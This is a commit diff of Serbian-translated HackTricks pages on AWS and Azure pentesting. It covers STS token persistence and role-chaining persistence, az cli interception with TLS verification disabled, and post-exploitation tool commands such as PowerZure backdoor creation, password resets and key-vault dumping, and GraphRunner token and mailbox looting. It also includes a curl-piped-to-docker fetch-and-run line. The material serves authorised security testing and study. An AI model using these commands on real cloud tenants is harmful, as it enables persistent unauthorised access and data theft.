mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -12,14 +12,14 @@ Za više informacija pristupite:
|
||||
|
||||
### Assume role token
|
||||
|
||||
Privremeni tokeni ne mogu biti navedeni, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
|
||||
Privremeni tokeni se ne mogu listati, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Sa MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Ime hardverskog uređaja obično je broj sa zadnje strane uređaja, kao što je GAHT12345678
|
||||
<strong># Ime SMS uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:sms-mfa/username
|
||||
@@ -28,7 +28,7 @@ aws sts get-session-token \
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining je priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na početnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala.
|
||||
[**Role chaining je priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na inicijalnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala.
|
||||
|
||||
Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa prebacivanjem uloga:
|
||||
```bash
|
||||
@@ -45,7 +45,7 @@ optional arguments:
|
||||
<details>
|
||||
|
||||
<summary>Kod za izvođenje Role Juggling iz PowerShell-a</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
|
||||
@@ -63,7 +63,7 @@ U slučajevima kada imate neke važeće akreditive, ali ne možete da se prijavi
|
||||
|
||||
- **IP beljenje** -- Morate kompromitovati važeći IP
|
||||
- **Geo ograničenja** -- Pronađite gde korisnik živi ili gde su kancelarije kompanije i dobijte IP iz istog grada (ili barem iz iste zemlje)
|
||||
- **Pregledač** -- Možda je dozvoljen samo pregledač iz određenog OS-a (Windows, Linux, Mac, Android, iOS). Saznajte koji OS koristi žrtva/kompanija.
|
||||
- **Pregledač** -- Možda je dozvoljen samo pregledač sa određenog OS (Windows, Linux, Mac, Android, iOS). Saznajte koji OS koristi žrtva/kompanija.
|
||||
- Takođe možete pokušati da **kompromitujete akreditive Service Principal-a** jer su obično manje ograničeni i njihova prijava se manje proverava.
|
||||
|
||||
Nakon zaobilaženja, možda ćete moći da se vratite na svoju početnu postavku i još uvek imati pristup.
|
||||
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
```powershell
|
||||
```bash
|
||||
#Get the current session state
|
||||
Get-AzureADCurrentSessionInfo
|
||||
#Get details of the current tenant
|
||||
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
||||
Get-AzContext
|
||||
# List all available contexts
|
||||
@@ -120,11 +120,11 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Jedna od najvažnijih komandi za enumeraciju Azure-a je **`Get-AzResource`** iz Az PowerShell-a jer vam omogućava da **znate koje resurse vaš trenutni korisnik može da vidi**.
|
||||
> Jedna od najvažnijih komandi za enumeraciju Azure-a je **`Get-AzResource`** iz Az PowerShell-a jer vam omogućava da **znate resurse koje vaš trenutni korisnik može da vidi**.
|
||||
>
|
||||
> Istu informaciju možete dobiti u **web konzoli** odlaskom na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ili pretražujući "Svi resursi"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
### Entra ID Enumeration
|
||||
|
||||
Podrazumevano, svaki korisnik bi trebao imati **dovoljno dozvola za enumeraciju** stvari kao što su korisnici, grupe, uloge, servisni principi... (proverite [podrazumevane AzureAD dozvole](az-basic-information/index.html#default-user-permissions)).\
|
||||
Ovde možete pronaći vodič:
|
||||
@@ -149,226 +149,4 @@ Koristite portal.azure.com i izaberite shell, ili koristite shell.azure.com, za
|
||||
|
||||
Azure DevOps je odvojen od Azure-a. Ima repozitorijume, pipeline-ove (yaml ili release), table, wiki i još mnogo toga. Grupa varijabli se koristi za čuvanje vrednosti varijabli i tajni.
|
||||
|
||||
## Debug | MitM az cli
|
||||
|
||||
Korišćenjem parametra **`--debug`** moguće je videti sve zahteve koje alat **`az`** šalje:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Da biste izvršili **MitM** na alatu i **ručno proverili sve zahteve** koje šalje, možete uraditi:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
export HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
|
||||
# If this is not enough
|
||||
# Download the certificate from Burp and convert it into .pem format
|
||||
# And export the following env variable
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Automatizovani alati za rekognosciranje
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
```powershell
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
```powershell
|
||||
Import-Module monkey365
|
||||
Get-Help Invoke-Monkey365
|
||||
Get-Help Invoke-Monkey365 -Detailed
|
||||
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
|
||||
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
|
||||
```
|
||||
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
|
||||
```powershell
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
pipenv shell
|
||||
python ssbackend.pyz
|
||||
|
||||
# Start Front-end
|
||||
cd stormspotter\frontend\dist\spa\
|
||||
quasar.cmd serve -p 9091 --history
|
||||
|
||||
# Run Stormcollector
|
||||
cd stormspotter\stormcollector\
|
||||
pipenv shell
|
||||
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
```powershell
|
||||
# You need to use the Az PowerShell and Azure AD modules:
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
|
||||
Connect-AzAccount -Credential $creds
|
||||
|
||||
Import-Module AzureAD\AzureAD.psd1
|
||||
Connect-AzureAD -Credential $creds
|
||||
|
||||
# Launch AzureHound
|
||||
. AzureHound\AzureHound.ps1
|
||||
Invoke-AzureHound -Verbose
|
||||
|
||||
# Simple queries
|
||||
## All Azure Users
|
||||
MATCH (n:AZUser) return n.name
|
||||
## All Azure Applications
|
||||
MATCH (n:AZApp) return n.objectid
|
||||
## All Azure Devices
|
||||
MATCH (n:AZDevice) return n.name
|
||||
## All Azure Groups
|
||||
MATCH (n:AZGroup) return n.name
|
||||
## All Azure Key Vaults
|
||||
MATCH (n:AZKeyVault) return n.name
|
||||
## All Azure Resource Groups
|
||||
MATCH (n:AZResourceGroup) return n.name
|
||||
## All Azure Service Principals
|
||||
MATCH (n:AZServicePrincipal) return n.objectid
|
||||
## All Azure Virtual Machines
|
||||
MATCH (n:AZVM) return n.name
|
||||
## All Principals with the ‘Contributor’ role
|
||||
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
|
||||
|
||||
# Advanced queries
|
||||
## Get Global Admins
|
||||
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
|
||||
## Owners of Azure Groups
|
||||
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
|
||||
## All Azure Users and their Groups
|
||||
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
|
||||
## Privileged Service Principals
|
||||
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
|
||||
## Owners of Azure Applications
|
||||
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
|
||||
## Paths to VMs
|
||||
MATCH p = (n)-[r]->(g: AZVM) RETURN p
|
||||
## Paths to KeyVault
|
||||
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
|
||||
## Paths to Azure Resource Group
|
||||
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
|
||||
## On-Prem users with edges to Azure
|
||||
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
|
||||
## All Azure AD Groups that are synchronized with On-Premise AD
|
||||
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
|
||||
```
|
||||
### [Azucar](https://github.com/nccgroup/azucar)
|
||||
```bash
|
||||
# You should use an account with at least read-permission on the assets you want to access
|
||||
git clone https://github.com/nccgroup/azucar.git
|
||||
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
|
||||
|
||||
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
|
||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
||||
|
||||
# resolve the TenantID for an specific username
|
||||
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
|
||||
```
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
```
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
```powershell
|
||||
Connect-AzAccount
|
||||
ipmo C:\Path\To\Powerzure.psd1
|
||||
Get-AzureTarget
|
||||
|
||||
# Reader
|
||||
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
|
||||
|
||||
# Contributor
|
||||
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
|
||||
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
|
||||
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
|
||||
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
|
||||
|
||||
# Owner
|
||||
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
|
||||
|
||||
# Administrator
|
||||
$ Create-Backdoor, Execute-Backdoor
|
||||
```
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
```powershell
|
||||
|
||||
#Get-GraphTokens
|
||||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
||||
Import-Module .\GraphRunner.ps1
|
||||
Get-GraphTokens
|
||||
|
||||
#Invoke-GraphRecon
|
||||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#Invoke-DumpCAPS
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#Invoke-DumpCAPS
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||
|
||||
#Invoke-DumpApps
|
||||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
||||
Invoke-DumpApps -Tokens $tokens
|
||||
|
||||
#Get-AzureADUsers
|
||||
#Gather the full list of users from the directory.
|
||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||
|
||||
#Get-SecurityGroups
|
||||
#Create a list of security groups along with their members.
|
||||
Get-SecurityGroups -AccessToken $tokens.access_token
|
||||
|
||||
G#et-UpdatableGroups
|
||||
#Gets groups that may be able to be modified by the current user
|
||||
Get-UpdatableGroups -Tokens $tokens
|
||||
|
||||
#Get-DynamicGroups
|
||||
#Finds dynamic groups and displays membership rules
|
||||
Get-DynamicGroups -Tokens $tokens
|
||||
|
||||
#Get-SharePointSiteURLs
|
||||
#Gets a list of SharePoint site URLs visible to the current user
|
||||
Get-SharePointSiteURLs -Tokens $tokens
|
||||
|
||||
#Invoke-GraphOpenInboxFinder
|
||||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
||||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
||||
|
||||
#Get-TenantID
|
||||
#This module attempts to gather a tenant ID associated with a domain.
|
||||
Get-TenantID -Domain
|
||||
|
||||
#Invoke-GraphRunner
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -61,7 +61,7 @@ Korišćenjem parametra **`--debug`** moguće je videti sve zahteve koje alat **
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Da biste izvršili **MitM** na alat i **proverili sve zahteve** koje šalje ručno, možete uraditi:
|
||||
Da biste izvršili **MitM** na alat i **ručno proverili sve zahteve** koje šalje, možete uraditi:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
@@ -126,6 +126,245 @@ Modul Azure Active Directory (AD), sada **ukinut**, je deo Azure PowerShell za u
|
||||
> [!TIP]
|
||||
> Ovo je zamenjeno Microsoft Graph PowerShell
|
||||
|
||||
Pratite ovaj link za [**uputstva za instalaciju**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
Sledite ovaj link za [**uputstva za instalaciju**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
## Automatizovani alati za rekognosciranje i usklađenost
|
||||
|
||||
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
|
||||
|
||||
Turbot sa steampipe i powerpipe omogućava prikupljanje informacija iz Azure i Entra ID i obavljanje provere usklađenosti i pronalaženje pogrešnih konfiguracija. Trenutno najpreporučivani Azure moduli za pokretanje su:
|
||||
|
||||
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
|
||||
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
|
||||
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
|
||||
```bash
|
||||
# Install
|
||||
brew install turbot/tap/powerpipe
|
||||
brew install turbot/tap/steampipe
|
||||
steampipe plugin install azure
|
||||
steampipe plugin install azuread
|
||||
|
||||
# Config creds via env vars or az cli default creds will be used
|
||||
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
|
||||
export AZURE_TENANT_ID="<tenant-id>"
|
||||
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
|
||||
export AZURE_CLIENT_ID="<client-id>"
|
||||
export AZURE_CLIENT_SECRET="<secret>"
|
||||
|
||||
# Run steampipe-mod-azure-insights
|
||||
cd /tmp
|
||||
mkdir dashboards
|
||||
cd dashboards
|
||||
powerpipe mod init
|
||||
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
|
||||
steampipe service start
|
||||
powerpipe server
|
||||
# Go to http://localhost:9033 in a browser
|
||||
```
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Prowler je alat otvorenog koda za bezbednost koji se koristi za procenu najboljih praksi bezbednosti, revizije, odgovor na incidente, kontinuirano praćenje, učvršćivanje i spremnost za forenziku na AWS, Azure, Google Cloud i Kubernetes.
|
||||
|
||||
U suštini, omogućava nam da izvršimo stotine provera protiv Azure okruženja kako bismo pronašli bezbednosne pogrešne konfiguracije i prikupili rezultate u json (i drugim tekstualnim formatima) ili ih proverili na vebu.
|
||||
```bash
|
||||
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
|
||||
|
||||
# Launch web with docker-compose
|
||||
export DOCKER_DEFAULT_PLATFORM=linux/amd64
|
||||
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
|
||||
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
|
||||
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
|
||||
docker compose up -d
|
||||
# Access the web and configure the access to run a scan from it
|
||||
|
||||
# Prowler cli
|
||||
python3 -m pip install prowler --break-system-packages
|
||||
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
|
||||
docker run --rm toniblyx/prowler:v4-latest azure --list-services
|
||||
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
|
||||
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
|
||||
## It also support other authentication types, check: prowler azure --help
|
||||
```
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
|
||||
Omogućava automatsko izvođenje pregleda bezbednosne konfiguracije Azure pretplata i Microsoft Entra ID.
|
||||
|
||||
HTML izveštaji se čuvaju unutar `./monkey-reports` direktorijuma unutar foldera github repozitorijuma.
|
||||
```bash
|
||||
git clone https://github.com/silverhack/monkey365
|
||||
Get-ChildItem -Recurse monkey365 | Unblock-File
|
||||
cd monkey365
|
||||
Import-Module ./monkey365
|
||||
mkdir /tmp/monkey365-scan
|
||||
cd /tmp/monkey365-scan
|
||||
|
||||
Get-Help Invoke-Monkey365
|
||||
Get-Help Invoke-Monkey365 -Detailed
|
||||
|
||||
# Scan with user creds (browser will be run)
|
||||
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
|
||||
|
||||
# Scan with App creds
|
||||
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
|
||||
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
|
||||
```
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
|
||||
|
||||
Scout Suite prikuplja podatke o konfiguraciji za ručnu inspekciju i ističe rizična područja. To je alat za bezbednosnu reviziju više oblaka, koji omogućava procenu bezbednosnog stanja cloud okruženja.
|
||||
```bash
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install scoutsuite
|
||||
scout --help
|
||||
|
||||
# Use --cli flag to use az cli credentials
|
||||
# Use --user-account to have scout prompt for user credentials
|
||||
# Use --user-account-browser to launch a browser to login
|
||||
# Use --service-principal to have scout prompt for app credentials
|
||||
|
||||
python scout.py azure --cli
|
||||
```
|
||||
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
|
||||
|
||||
To je powershell skripta koja vam pomaže da **vizualizujete sve resurse i dozvole unutar Grupa za upravljanje i Entra ID** tenanta i pronađete bezbednosne greške u konfiguraciji.
|
||||
|
||||
Radi koristeći Az PowerShell modul, tako da je svaka autentifikacija koju podržava ovaj alat podržana od strane alata.
|
||||
```bash
|
||||
import-module Az
|
||||
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
|
||||
```
|
||||
## Automated Post-Exploitation tools
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Enumeracija ROADRecon-a nudi informacije o konfiguraciji Entra ID, kao što su korisnici, grupe, uloge, politike uslovnog pristupa...
|
||||
```bash
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
# Login with user creds
|
||||
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
# Login with app creds
|
||||
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
```bash
|
||||
# Launch AzureHound
|
||||
## Login with app secret
|
||||
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
|
||||
## Login with user creds
|
||||
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
|
||||
```
|
||||
Pokrenite **BloodHound** veb sa **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** i uvezite `output.json` datoteku.
|
||||
|
||||
Zatim, u **EXPLORE** tabu, u **CYPHER** sekciji možete videti **folder** ikonu koja sadrži unapred izgrađene upite.
|
||||
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
|
||||
MicroBurst uključuje funkcije i skripte koje podržavaju otkrivanje Azure usluga, reviziju slabih konfiguracija i akcije nakon eksploatacije kao što je preuzimanje kredencijala. Namenjen je za korišćenje tokom testova penetracije gde se koristi Azure.
|
||||
```bash
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
|
||||
PowerZure je stvoren iz potrebe za okvirom koji može da izvrši i izviđanje i eksploataciju Azure, EntraID i povezanih resursa.
|
||||
|
||||
Koristi **Az PowerShell** modul, tako da je svaka autentifikacija koju podržava ovaj alat podržana od strane alata.
|
||||
```bash
|
||||
# Login
|
||||
Import-Module Az
|
||||
Connect-AzAccount
|
||||
|
||||
# Clone and import PowerZure
|
||||
git clone https://github.com/hausec/PowerZure
|
||||
cd PowerZure
|
||||
ipmo ./Powerzure.psd1
|
||||
Invoke-Powerzure -h # Check all the options
|
||||
|
||||
# Info Gathering (read)
|
||||
Get-AzureCurrentUser # Get current user
|
||||
Get-AzureTarget # What can you access to
|
||||
Get-AzureUser -All # Get all users
|
||||
Get-AzureSQLDB -All # Get all SQL DBs
|
||||
Get-AzureAppOwner # Owners of apps in Entra
|
||||
Show-AzureStorageContent -All # List containers, shared and tables
|
||||
Show-AzureKeyVaultContent -All # List all contents in key vaults
|
||||
|
||||
|
||||
# Operational (write)
|
||||
Set-AzureUserPassword -Password <password> -Username <username> # Change password
|
||||
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
|
||||
New-AzureBackdoor -Username <username> -Password <password>
|
||||
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
|
||||
[...]
|
||||
```
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
|
||||
GraphRunner je alat za post-exploitation koji se koristi za interakciju sa Microsoft Graph API. Pruža razne alate za izvođenje izviđanja, postojanosti i pljačke podataka iz Microsoft Entra ID (Azure AD) naloga.
|
||||
```bash
|
||||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
||||
Import-Module .\GraphRunner.ps1
|
||||
Get-GraphTokens
|
||||
|
||||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
#A module to dump conditional access policies from a tenant.
|
||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||
|
||||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
||||
Invoke-DumpApps -Tokens $tokens
|
||||
|
||||
#Gather the full list of users from the directory.
|
||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||
|
||||
#Create a list of security groups along with their members.
|
||||
Get-SecurityGroups -AccessToken $tokens.access_token
|
||||
|
||||
#Gets groups that may be able to be modified by the current user
|
||||
Get-UpdatableGroups -Tokens $tokens
|
||||
|
||||
#Finds dynamic groups and displays membership rules
|
||||
Get-DynamicGroups -Tokens $tokens
|
||||
|
||||
#Gets a list of SharePoint site URLs visible to the current user
|
||||
Get-SharePointSiteURLs -Tokens $tokens
|
||||
|
||||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
||||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
||||
|
||||
#This module attempts to gather a tenant ID associated with a domain.
|
||||
Get-TenantID -Domain
|
||||
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
### [Stormspotter](https://github.com/Azure/Stormspotter)
|
||||
|
||||
Stormspotter kreira “napadnu grafiku” resursa u Azure pretplati. Omogućava red timovima i pentesterima da vizualizuju napadnu površinu i mogućnosti prebacivanja unutar zakupca, i pojačava vaše branioca da brzo orijentišu i prioritetizuju rad na odgovoru na incidente.
|
||||
|
||||
**Nažalost, izgleda da nije održavan**.
|
||||
```bash
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
pipenv shell
|
||||
python ssbackend.pyz
|
||||
|
||||
# Start Front-end
|
||||
cd stormspotter\frontend\dist\spa\
|
||||
quasar.cmd serve -p 9091 --history
|
||||
|
||||
# Run Stormcollector
|
||||
cd stormspotter\stormcollector\
|
||||
pipenv shell
|
||||
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
